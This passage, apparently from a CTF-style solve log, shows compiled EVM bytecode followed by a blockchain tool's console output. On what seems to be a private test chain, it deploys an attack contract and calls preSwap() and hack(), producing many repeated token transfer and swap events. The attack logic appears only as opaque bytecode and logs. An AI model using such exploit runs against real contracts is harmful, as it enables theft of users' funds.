ff\xff\xff\xff\x16\x7f\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff`@Q\x83c\xff\xff\xff\xff\x16`\xe0\x1b\x81R`\x04\x01a\x07\xf0\x92\x91\x90a\x0b\xfaV[` `@Q\x80\x83\x03\x81`\x00\x87Z\xf1\x15\x80\x15a\x08\x0fW=`\x00\x80>=`\x00\xfd[PPPP`@Q=`\x1f\x19`\x1f\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x083\x91\x90a\x0b\x96V[PV[`\x00s\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x82\x16\x90P\x91\x90PV[`\x00a\x08a\x82a\x086V[\x90P\x91\x90PV[a\x08q\x81a\x08VV[\x82RPPV[`\x00` \x82\x01\x90Pa\x08\x8c`\x00\x83\x01\x84a\x08hV[\x92\x91PPV[`\x00\x80\xfd[`\x00\x81\x90P\x91\x90PV[a\x08\xaa\x81a\x08\x97V[\x81\x14a\x08\xb5W`\x00\x80\xfd[PV[`\x00\x81Q\x90Pa\x08\xc7\x81a\x08\xa1V[\x92\x91PPV[`\x00` \x82\x84\x03\x12\x15a\x08\xe3Wa\x08\xe2a\x08\x92V[[`\x00a\x08\xf1\x84\x82\x85\x01a\x08\xb8V[\x91PP\x92\x91PPV[`\x00\x81\x90P\x91\x90PV[`\x00\x81`\x0f\x0b\x90P\x91\x90PV[`\x00\x81\x90P\x91\x90PV[`\x00a\t6a\t1a\t,\x84a\x08\xfaV[a\t\x11V[a\t\x04V[\x90P\x91\x90PV[a\tF\x81a\t\x1bV[\x82RPPV[a\tU\x81a\x08\x97V[\x82RPPV[`\x00`@\x82\x01\x90Pa\tp`\x00\x83\x01\x85a\t=V[a\t}` \x83\x01\x84a\tLV[\x93\x92PPPV[`\x00` \x82\x01\x90Pa\t\x99`\x00\x83\x01\x84a\tLV[\x92\x91PPV[`\x00\x81\x15\x15\x90P\x91\x90PV[a\t\xb4\x81a\t\x9fV[\x82RPPV[`\x00` \x82\x01\x90Pa\t\xcf`\x00\x83\x01\x84a\t\xabV[\x92\x91PPV[`\x00`@\x82\x01\x90Pa\t\xea`\x00\x83\x01\x85a\t=V[a\t\xf7` \x83\x01\x84a\x08hV[\x93\x92PPPV[`\x00\x81\x90P\x91\x90PV[`\x00a\n#a\n\x1ea\n\x19\x84a\t\xfeV[a\t\x11V[a\t\x04V[\x90P\x91\x90PV[a\n3\x81a\n\x08V[\x82RPPV[`\x00a\nTa\nOa\nJ\x84a\t\xfeV[a\t\x11V[a\x08\x97V[\x90P\x91\x90PV[a\nd\x81a\n9V[\x82RPPV[`\x00``\x82\x01\x90Pa\n\x7f`\x00\x83\x01\x86a\t=V[a\n\x8c` \x83\x01\x85a\n*V[a\n\x99`@\x83\x01\x84a\n[V[\x94\x93PPPPV[\x7fNH{q\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00R`\x11`\x04R`$`\x00\xfd[`\x00a\n\xdb\x82a\x08\x97V[\x91P\x7f\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x82\x03a\x0b\rWa\x0b\x0ca\n\xa1V[[`\x01\x82\x01\x90P\x91\x90PV[`\x00`@\x82\x01\x90Pa\x0b-`\x00\x83\x01\x85a\n*V[a\x0b:` \x83\x01\x84a\tLV[\x93\x92PPPV[`\x00`@\x82\x01\x90Pa\x0bV`\x00\x83\x01\x85a\n*V[a\x0bc` \x83\x01\x84a\x08hV[\x93\x92PPPV[a\x0bs\x81a\t\x9fV[\x81\x14a\x0b~W`\x00\x80\xfd[PV[`\x00\x81Q\x90Pa\x0b\x90\x81a\x0bjV[\x92\x91PPV[`\x00` \x82\x84\x03\x12\x15a\x0b\xacWa\x0b\xaba\x08\x92V[[`\x00a\x0b\xba\x84\x82\x85\x01a\x0b\x81V[\x91PP\x92\x91PPV[`\x00``\x82\x01\x90Pa\x0b\xd8`\x00\x83\x01\x86a\n*V[a\x0b\xe5` \x83\x01\x85a\t=V[a\x0b\xf2`@\x83\x01\x84a\tLV[\x94\x93PPPPV[`\x00`@\x82\x01\x90Pa\x0c\x0f`\x00\x83\x01\x85a\x08hV[a\x0c\x1c` \x83\x01\x84a\tLV[\x93\x92PPPV\xfe\xa2dipfsX"\x12 u\xdde\x95\x9b\x1a=\xaa\xe0*\xb1\xb3_#\xc7|\xc4E\x8d\x85I\xb2\x1fI\xcep\xf1\xe8\x91jN\xe4dsolcC\x00\x08\x13\x003'
--------------------------------------------------------------------------------
2023-10-30 19:04:50.767 | SUCCESS  | Poseidon.Blockchain:__init__:754 - 
[Contract][Initialize]Successfully instantiated contract [0x4ed4459fB2b661CCCe058f1b86C076D136ffc827]
--------------------------------------------------------------------------------
2023-10-30 19:04:50.990 | SUCCESS  | Poseidon.Blockchain:ReadOnlyCallFunction:815 - 
[Contract][ReadOnlyCallFunction]
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[Function]getBalance0()
[Result]0
--------------------------------------------------------------------------------
2023-10-30 19:04:51.250 | SUCCESS  | Poseidon.Blockchain:ReadOnlyCallFunction:815 - 
[Contract][ReadOnlyCallFunction]
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[Function]getBalance1()
[Result]0
--------------------------------------------------------------------------------
2023-10-30 19:04:51.465 | INFO     | Poseidon.Blockchain:CallFunctionWithParameters:795 - 
[Contract][CallFunctionWithValueAndGasLimit]
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[Function]preSwap()
[Value]1000000000000000000
[GasPrice]1000000007
[GasLimit]1000000
--------------------------------------------------------------------------------
2023-10-30 19:04:51.590 | INFO     | Poseidon.Blockchain:SendTransaction:496 - 
[Account][SendTransaction][Traditional]
[Txn]{
  "chainId": 21789,
  "from": "0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8",
  "to": "0x4ed4459fB2b661CCCe058f1b86C076D136ffc827",
  "value": 1000000000000000000,
  "gas": 1000000,
  "gasPrice": "1.000000007 Gwei",
  "nonce": 55,
  "data": "0xf5412a30"
}
--------------------------------------------------------------------------------
2023-10-30 19:04:55.811 | SUCCESS  | Poseidon.Blockchain:GetTransactionInformationByHash:109 - 
[Chain][GetTransactionInformationByHash]
[TransactionHash]0xedafefbe27ec28b190986cf596f736860ef93485ba12e89a324697c12491e73b
[BlockNumber]34270
[TransactionIndex]0
[Status]Success
[Type]Traditional
[Action]Call Contract
[From]0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8
[To]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[GasPrice]1.000000007 Gwei
[GasLimit]1000000 [GasUsed]100322
[Nonce]55 [Value]1000000000000000000
[R]0x6a54fe6d04a34d73f80ce84b86580599facacf93233b39116d7986f046cccbd2
[S]0x06678cd612d153b679bb63e5d06e298571c0d3e71526f108a026bcf75d99967d
[V]43613
[Logs][{"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0xffebebfb273923089a3ed6bac0fd4686ac740307859becadeb82f998e30db614", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", "0x00000000000000000000000050155b59bd8bb2740a62e8e8900dac78e94ea22d"], "data": "0x0000000000000000000000000000000000000000000000000de0b6b3a7640000", "blockNumber": 34270, "transactionHash": "0xedafefbe27ec28b190986cf596f736860ef93485ba12e89a324697c12491e73b", "transactionIndex": 0, "blockHash": "0xfd440b15d4faf996b9124729124074b4e695ef4225c8fa8dae045d1726b5ef7c", "logIndex": 0, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", "blockNumber": 34270, "transactionHash": "0xedafefbe27ec28b190986cf596f736860ef93485ba12e89a324697c12491e73b", "transactionIndex": 0, "blockHash": "0xfd440b15d4faf996b9124729124074b4e695ef4225c8fa8dae045d1726b5ef7c", "logIndex": 1, "removed": false}]
[InputData]b'\xf5A*0'
--------------------------------------------------------------------------------
2023-10-30 19:04:56.066 | SUCCESS  | Poseidon.Blockchain:ReadOnlyCallFunction:815 - 
[Contract][ReadOnlyCallFunction]
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[Function]getBalance0()
[Result]0
--------------------------------------------------------------------------------
2023-10-30 19:04:56.273 | SUCCESS  | Poseidon.Blockchain:ReadOnlyCallFunction:815 - 
[Contract][ReadOnlyCallFunction]
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[Function]getBalance1()
[Result]2000000000004276545
--------------------------------------------------------------------------------
2023-10-30 19:04:56.484 | INFO     | Poseidon.Blockchain:CallFunctionWithParameters:795 - 
[Contract][CallFunctionWithValueAndGasLimit]
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[Function]hack()
[Value]1
[GasPrice]1000000007
[GasLimit]1000000
--------------------------------------------------------------------------------
2023-10-30 19:04:56.608 | INFO     | Poseidon.Blockchain:SendTransaction:496 - 
[Account][SendTransaction][Traditional]
[Txn]{
  "chainId": 21789,
  "from": "0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8",
  "to": "0x4ed4459fB2b661CCCe058f1b86C076D136ffc827",
  "value": 1,
  "gas": 1000000,
  "gasPrice": "1.000000007 Gwei",
  "nonce": 56,
  "data": "0x4de260a2"
}
--------------------------------------------------------------------------------
2023-10-30 19:05:00.883 | SUCCESS  | Poseidon.Blockchain:GetTransactionInformationByHash:109 - 
[Chain][GetTransactionInformationByHash]
[TransactionHash]0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664
[BlockNumber]34271
[TransactionIndex]0
[Status]Success
[Type]Traditional
[Action]Call Contract
[From]0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8
[To]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[GasPrice]1.000000007 Gwei
[GasLimit]1000000 [GasUsed]522880
[Nonce]56 [Value]1
[R]0xfe2bd39d8a5c2ced2d2a8fd131802783d2626b707c0b236560caa03070bc058e
[S]0x38b603195347e924d153b2f5a35db0035be97b9223012f2c12f29c6fb0727a28
[V]43614
[Logs][{"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 0, "removed": false}, {"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0x9b1bfa7fa9ee420a16e124f794c35ac9f90472acc99140eb2f6447c714cad8eb", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x00000000000000000000000050155b59bd8bb2740a62e8e8900dac78e94ea22d"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 1, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 2, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0xffffffffffffffffffffffffffffffffffffffffffffffffe43e9298b0f6bebe", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 3, "removed": false}, {"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0x5548c837ab068cf56a2c2479df0882a4922fd203edb7517321831d95078c5f62", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x00000000000000000000000050155b59bd8bb2740a62e8e8900dac78e94ea22d"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 4, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0x0000000000000000000000000000000000000000000000000000000000000000", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 5, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0xffffffffffffffffffffffffffffffffffffffffffffffffe43e9298b0f6bebe", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 6, "removed": false}, {"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0xffebebfb273923089a3ed6bac0fd4686ac740307859becadeb82f998e30db614", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x00000000000000000000000050155b59bd8bb2740a62e8e8900dac78e94ea22d", "0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"], "data": "0x0000000000000000000000000000000000000000000000000000000000000000", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 7, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 8, "removed": false}, {"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0x9b1bfa7fa9ee420a16e124f794c35ac9f90472acc99140eb2f6447c714cad8eb", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x00000000000000000000000050155b59bd8bb2740a62e8e8900dac78e94ea22d"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 9, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 10, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0xffffffffffffffffffffffffffffffffffffffffffffffffc87d253161ed7d7d", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 11, "removed": false}, {"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0x5548c837ab068cf56a2c2479df0882a4922fd203edb7517321831d95078c5f62", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x00000000000000000000000050155b59bd8bb2740a62e8e8900dac78e94ea22d"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 12, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0x0000000000000000000000000000000000000000000000000000000000000000", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 13, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0xffffffffffffffffffffffffffffffffffffffffffffffffc87d253161ed7d7d", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 14, "removed": false}, {"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0xffebebfb273923089a3ed6bac0fd4686ac740307859becadeb82f998e30db614", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x00000000000000000000000050155b59bd8bb2740a62e8e8900dac78e94ea22d", "0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"], "data": "0x0000000000000000000000000000000000000000000000000000000000000000", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 15, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 16, "removed": false}, {"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0x9b1bfa7fa9ee420a16e124f794c35ac9f90472acc99140eb2f6447c714cad8eb", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x00000000000000000000000050155b59bd8bb2740a62e8e8900dac78e94ea22d"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 17, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 18, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0xffffffffffffffffffffffffffffffffffffffffffffffffacbbb7ca12e43c3c", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 19, "removed": false}, {"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0x5548c837ab068cf56a2c2479df0882a4922fd203edb7517321831d95078c5f62", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x00000000000000000000000050155b59bd8bb2740a62e8e8900dac78e94ea22d"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 20, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0x0000000000000000000000000000000000000000000000000000000000000000", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 21, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0xffffffffffffffffffffffffffffffffffffffffffffffffacbbb7ca12e43c3c", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 22, "removed": false}, {"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0xffebebfb273923089a3ed6bac0fd4686ac740307859becadeb82f998e30db614", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x00000000000000000000000050155b59bd8bb2740a62e8e8900dac78e94ea22d", "0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"], "data": "0x0000000000000000000000000000000000000000000000000000000000000000", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 23, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 24, "removed": false}, {"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0x9b1bfa7fa9ee420a16e124f794c35ac9f90472acc99140eb2f6447c714cad8eb", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x00000000000000000000000050155b59bd8bb2740a62e8e8900dac78e94ea22d"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 25, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0x0000000000000000000000000000000000000000000000001bc16d674f094141", "blockNumber": 34271, "transactionHash": 